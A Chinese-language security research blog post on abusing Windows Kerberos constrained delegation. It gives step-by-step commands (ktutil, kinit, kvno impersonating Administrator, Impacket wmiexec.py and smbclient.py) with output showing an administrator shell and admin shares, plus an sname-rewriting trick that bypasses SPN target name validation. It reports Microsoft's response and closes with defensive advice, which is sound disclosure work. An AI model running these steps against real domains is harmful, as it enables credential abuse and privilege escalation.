在本博文中,我将介绍我在Windows的Kerberos约束委派功能中的一些发现(这些安全问题仍然未解决)以及在考虑使用或测试此技术时可能会用到的服务主体名称(SPN)过滤特性。我也会分享一些你可以拿去测试用的代码。如果你想获取更多有关Kerberos技术的信息,你可以查看Kerberos的RFC文档或其他更高级的相关教程。
虽然我已经针对Kerberos的安全性做了一段时间的研究,但是促使我开始这项特殊的研究工作的原因是我拜读了Ben Campbell 的一篇博文——“Trust? Years to earn, seconds to break”,这是一篇非常不错的博文。在阅读Ben的文章时,他描述了一种比较实用的用于攻击Active Directory网络环境的姿势,即攻击者可以尝试获取具有TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION特性的域帐户的凭据。他在文章中提到他无法使用我们CoreSecurity开发的Impacket库中的secretsdump.py工具完成其中的一个攻击步骤。 Impacket库在我们的一些产品中被广泛使用,也已经作为安全社区中的独立库和工具使用。由于是我开发的这个脚本(增加Kerberos支持),所以我想看看可能需要修复的问题。
好了,以上应该足够解释一些基本的内容了,让我们进入本文的主题吧:
Kerberos约束委派
试想一个如下图所示的名为FREEFLY.NET的网络域场景:
图1 – 我们在FREEFLY.NET域中的测试环境
一个正常用户(normaluser@freefly.net)访问Web服务器进行身份验证,然后该Web服务器从第三方服务器(名为fileserver.freefly.net)获取了一些内容。那么问题来了,Web服务器是如何验证文件服务器从而进行内容获取的?有以下几个选项:
使用一个普通的用户(可能是serviceuser@freefly.net)
使用刚刚访问Web服务器进行身份验证的用户的身份即normaluser@freefly.net
你所想到的任何其他方式:)
第二个选项对于在此场景链路的最后一跳(在这种情况下是文件服务器)中需要客户端用户的原始身份标识的情况看起来很有趣。这可能是出于审计目的或强制使用更好的授权权限所必需的。
为了在这种情况下能正常工作,serviceuser@freefly.net需要有特殊的权限,以允许它模拟客户端用户,然后代表该用户验证文件服务器。
总之,这就是Kerberos委派的目的。在Windows Server 2003之前,设置一个像上述这样的场景的唯一方法是给serviceuser@freefly.net“几乎”像任何用户对域中的“几乎”是任何服务器进行身份验证的能力(我说“几乎”是因为有一些限制它的方法,但大多数时候是没有使用的)。 Sean Metcalf在一篇博文中介绍了“无约束委派”功能的一些危险性。
因此,为了解决与无约束委派相关的问题,Microsoft引入了Kerberos约束委派,允许指定你所授予委派权限的帐户提供的服务是否允许提供委托凭证。这在服务帐户的委派选项卡中进行配置。在我们的例子中,应该有一个cifs / fileserver.freefly.net的条目:
图2 – 为serviceuser@freefly.net设置的约束委派
那么,问题又来了,如果由于任何原因导致serviceuser@freefly.net账户的凭据被泄露又会发生什么?例如,该帐户的登录凭证被破解的可能的方式之一是通过发起Kerberoast攻击(更多信息参见Tim Medin在DerbyCon上的议题),当然也包括其他攻击方式。
理论上来讲,攻击者使用该帐户将能够作为任何用户但只能够针对服务cifs/fileserver.freefly.net进行认证。
原本我并不指望能有任何其他的细节。但在阅读Ben Campbell的博客文章时,有一段内容引起了我的注意(引用Benjamin Delpy的评论):
Mr.Delpy还发现,ldap/domaincontroller.contoso.com的Kerberos票证能够允许该帐户发起Active Directory DC Sync攻击。
这使我认为,也许不仅仅是ldapdomaincontroller.contoso.com这个SPN的Kerberos 服务票证(TGS)能够允许Active Directory复制(DC Sync和secretsdump.py所做的事),也许其他更多的SPN也可以实现这样的攻击。所以,我去改变了Impacket处理已缓存的Kerberos票证的方式,可以在这个commit中看到详情。
基本上,如果你有不同的已缓存的服务票证(TGS),并且你需要获取host/fileserver.freefly.net SPN的票证,但是缓存中只有cifs / fileserver.freefly.net 这个SPN的票证,那么Impacket库就会给你(而不是None)你想要的票证,希望它能起作用。
令人惊讶的是,改变后的Impacket如魔法般神奇!以下操作步骤与Ben的博文中的步骤一样,只是应用了我的一些设置,假设我拿到了serviceuser@freefly.net的凭证。这次我不使用secretsdump.py,因为对于一个已加入域的机器(如文件服务器)的SPN(cifs/)的服务票证(TGS)足以转储所有登录凭据(如果目标机器是域控,那就是另一回事儿了)。我将使用host/这个SPN的服务票证(TGS)运行wmiexec.py,以便通过WMI执行命令时能够对目标创建DCOM连接。
步骤0 – 指定缓存票证的存储位置
# export KRB5CCNAME=/tmp/ccache
步骤1 – 为服务帐户创建一个keytab
# ktutil
ktutil: addent -password -p serviceuser@FREEFLY.NET -k 1 -e aes256-cts-hmac-sha1-96
Password for serviceuser@FREEFLY.NET:
ktutil: addent -password -p serviceuser@FREEFLY.NET -k 2 -e rc4-hmac
Password for serviceuser@FREEFLY.NET:
ktutil: wkt /tmp/su.keytab
ktutil: exit
步骤2 – 检索服务帐户的票证授权票(TGT)
# kinit -V -k -t /tmp/su.keytab -f serviceuser@FREEFLY.NET
Using default cache: /tmp/ccache
Using principal: serviceuser@FREEFLY.NET
Using keytab: /tmp/su.keytab
Authenticated to Kerberos v5
步骤3 – 使用模拟的用户(在本例中为“Administrator”)请求目标服务的票证授予服务(TGS)
# kvno -e aes256-cts-hmac-sha1-96 -k /tmp/su.keytab -P -U Administrator cifs/FILESERVER.FREEFLY.NET@FREEFLY.NET
cifs/FILESERVER.FREEFLY.NET@FREEFLY.NET: kvno = 2, keytab entry valid
步骤4 – 使用wmiexec.py发起pass-the-ticket攻击(删除了一些输出内容)
$ ./wmiexec.py -k fileserver.freefly.net -debug
Impacket v0.9.16-dev - Copyright 2002-2017 Core Security Technologies
[+] Using Kerberos Cache: /tmp/ccache
[..]
[*] SMBv2.1 dialect used
[..]
[+] Domain retrieved from CCache: FREEFLY.NET
[+] Using Kerberos Cache: /tmp/ccache
[+] SPN HOST/FILESERVER.FREEFLY.NET@FREEFLY.NET not found in cache
[+] AnySPN is True, looking for another suitable SPN
[+] Returning cached credential for CIFS/FILESERVER.FREEFLY.NET@FREEFLY.NET
[..]
[+] Target system is fileserver.freefly.net and isFDQN is True
[+] StringBinding: FILESERVER[PIPEatsvc]
[+] StringBinding: FILESERVER[49154]
[+] StringBinding chosen: ncacn_ip_tcp:fileserver.freefly.net[49154]
[..]
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:>whoami
freeflyadministrator
C:>
可以看出,我能够使用用于委派的唯一的SPN(cifs/)对文件服务器创建DCOM连接。
有了这些信息,让我明白了Kerberos约束委派功能有一些需要搞清楚的安全问题。我可以使用cifs / *的服务票据(TGS)进行目录复制,或启动DCOM以及发起其他攻击方式。看起来和SPN好像没有太大关系。
我把我的研究结果通过电子邮件发送给了微软安全应急响应中心(MSRC),经过几天的分析,他们给出了一个彻底的答案:
产品团队已完成调查并确定此行为是预期之内的;他们提供了以下补充细节:
在同一身份下运行的进程之间没有安全边界。进程上的安全描述符通常向进程正在运行的用户帐户授予相当大的权限。因此,在帐户foo下运行的一个服务可以很容易地篡改其他服务进程也为foo运行的服务进程。
这种缺少安全边界的特性也扩展到了Kerberos。在Kerberos认证协议中,服务通过确保票证加密到该服务的对称密钥,在入站服务票证中进行验证。使用的SPN不考虑这种验证;实际上服务用于执行此验证的AcceptSecurityContext调用不包括有关服务期望的SPN的任何信息。如果不是这样,从服务票证检查SPN仍然不能够提供针对恶意客户端的安全保护。 sname字段是票证中未加密部分的一部分。如果服务帐户foo已注册了host / foo和http / foo SPN,则这些SPN的票证是完全可互换的。
[..]
如果前端服务被授予委托给host/foo的权限,那么它也能够委托给http / foo。因此,新的Kerberos Constrained Delegation属性为每个帐户分配权限,而不是基于每个SPN。如果两个服务应具有不同的委派设置,那么它们必须在不同的帐户下运行。
这对我来说是个惊喜,特别是在Kerberos约束委派的上下文中,通过明确指定的服务(如cifs /,http /等)所启用委派的帐户就可以获得委派的凭证。
在配置Kerberos约束委派时,请记住,你不仅将凭证委托给你指定的服务类型,而且还委托给同一帐户下运行的其他服务类型。此外,在sname字段中指定的SPN似乎不会用于认证机制。
我没有在微软的相关文档中看到任何有关于这个的主题中对于此行为的任何解释。如果任何人有这方面的信息,请让我知道,我会在这里继续更新。此外,可以公平地说,当从客户端接收到TGS-REQ时,Kerberos RFC没有提到对sname做任何检查,由于sname字段似乎没有受到任何保护所以这一点变的有意义了(在下文中将有更多说明)。
有了这个问题的回答,我开始有点不能理解关于SPN过滤功能了。
服务器SPN目标名称验证级别
回到约束委托设置(图2),我们原来是委托到cifs/fileserver.freefly.net,现在我们将其更改为upn/fileserver.freefly.net(或任何其他除了cifs/的服务类型),并运行所有步骤以获取之前提到的Kerberos票证。最终在我们的票证的缓存中确实有了我们想要的票证:
Credentials cache: FILE:/tmp/ccache
Principal: serviceuser@FREEFLY.NET
Issued Expires Principal
Feb 23 17:26:34 2017 Feb 24 03:26:34 2017 krbtgt/FREEFLY.NET@FREEFLY.NET
Feb 23 17:26:39 2017 Feb 24 03:26:34 2017 serviceuser@FREEFLY.NET
Feb 23 17:26:39 2017 Feb 24 03:26:34 2017 ups/FILESERVER.FREEFLY.NET@FREEFLY.NET
同时,我们执行域的以下安全策略:
Microsoft网络服务器:服务器SPN目标名称验证级别:从客户端必需
你可以在这里阅读有关该策略的详细说明,简单来说如下:
此策略设置控制具有共享文件夹或打印机的服务器在客户端设备通过使用服务器消息块(SMB)协议建立会话时由客户端设备提供的服务主体名称(SPN)上执行的验证级别。 验证级别有助于防止对SMB服务的一类攻击(称为SMB中继攻击)。
执行上述配置并指定已缓存的票证,我们可以尝试运行一个工具,连接到目标服务(cifs/fileserver.freefly.net)就能够给出upn/fileserver.freefly.net这个SPN的票证(TGS)。 例如,让我们运行smbclient.py:
#./smbclient.py -debug -k fileserver.freefly.net
Impacket v0.9.16-dev - Copyright 2002-2017 Core Security Technologies
[+] Using Kerberos Cache: /tmp/ccache
[+] Domain retrieved from CCache: FREEFLY.NET
[+] SPN CIFS/FILESERVER.FREEFLY.NET@FREEFLY.NET not found in cache
[+] AnySPN is True, looking for another suitable SPN
[+] Returning cached credential for UPS/FILESERVER.FREEFLY.NET@FREEFLY.NET
[+] Using TGS from cache
[+] Username retrieved from CCache: Administrator
[-] SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.)
正如你所看到的,在这一次的测试中,使用ups /这个SPN的服务票证(TGS)没有起作用。 但是,在MSRC的答复中有一些非常有趣的内容,特别是:
从服务票证检查SPN仍然不能提供针对恶意客户端的安全保护。 sname字段是票证中未加密部分的一部分。
这个信息非常重要,sname字段详细说明了服务票证(TGS)有效的目标SPN。 以下是从RFC 4120获取的在TGS-REP数据包中的票证描述信息:
Ticket ::= [APPLICATION 1] SEQUENCE {
tkt-vno [0] INTEGER (5),
realm [1] Realm,
sname [2] PrincipalName,
enc-part [3] EncryptedData -- EncTicketPart
}
从MSRC的回复邮件中可以得知由于sname字段未做任何签名或保护,我就可以将其更改为我想要的任何SPN,并希望用于加密enc-part的长密钥对于这个新的 SPN也是一样的。 如果是这样的话,这就意味着两个不同的SPN的确运行在同一个用户中。
考虑到上述这一切信息,我添加了另一个改变Impacket处理Kerberos票证的方式的commit。 有了这个新的更改后,如果有一个服务票据(TGS)不匹配目标SPN,那么Impacket库不仅能够返回这个不存在的SPN的票证还可以自动更改sname字段,以便能够匹配原始请求。
如前面所述,如果目标服务没有在与原始服务票证(TGS)相同的服务用户下运行,这可能会失败,至少我们尝试过了!
提交了上述对Impacket库的更改后,我们再次运行,输出了下面的内容:
./smbclient.py -debug -k fileserver.freefly.net
Impacket v0.9.16-dev - Copyright 2002-2017 Core Security Technologies
[+] Using Kerberos Cache: /tmp/ccache
[+] Domain retrieved from CCache: FREEFLY.NET
[+] SPN CIFS/FILESERVER.FREEFLY.NET@FREEFLY.NET not found in cache
[+] AnySPN is True, looking for another suitable SPN
[+] Returning cached credential for UPS/FILESERVER.FREEFLY.NET@FREEFLY.NET
[+] Changing sname from ups/FILESERVER.FREEFLY.NET@FREEFLY.NET to cifs/FILESERVER.FREEFLY.NET@FREEFLY.NET and hoping for the best
[+] Using TGS from cache
[+] Username retrieved from CCache: Administrator
Type help for list of commands
# shares
ADMIN$
C$
IPC$
#
的确起作用了!即使使用服务器SPN目标名称验证级别:需要从客户端启用 这个策略。这告诉我,应用此策略时,很可能Windows操作系统正在读取服务票证(TGS)的sname,虽然我无法验证。
另一方面,建议使用服务器SPN目标名称验证级别:需要从客户端工作可能会更好(的确可以起到作用…)这个策略,当使用NTLM身份验证时,虽然目标SPN由客户端设置(如果客户端支持的话)但是其包含在作为NTLMv2认证的一部分已签名的块的AV_PAIR结构中。
最后一点说明
Kerberos委派有一些非常具体且至关重要的细节,了解了这些细节才能更好地了解在Active Directory环境中启用委派所带来的后果。
建议定期审核启用了委派的帐户,并始终为他们设置强壮的密码。攻击者入侵了这些帐户就可以轻松地在Active Directory环境中的进行渗透和权限提升。
最后,对于喜欢冒险的读者,改变票证的名字的想法可能会带来有趣的结果,除了描述的特定情况外还需要更多的研究:)
感谢阅读!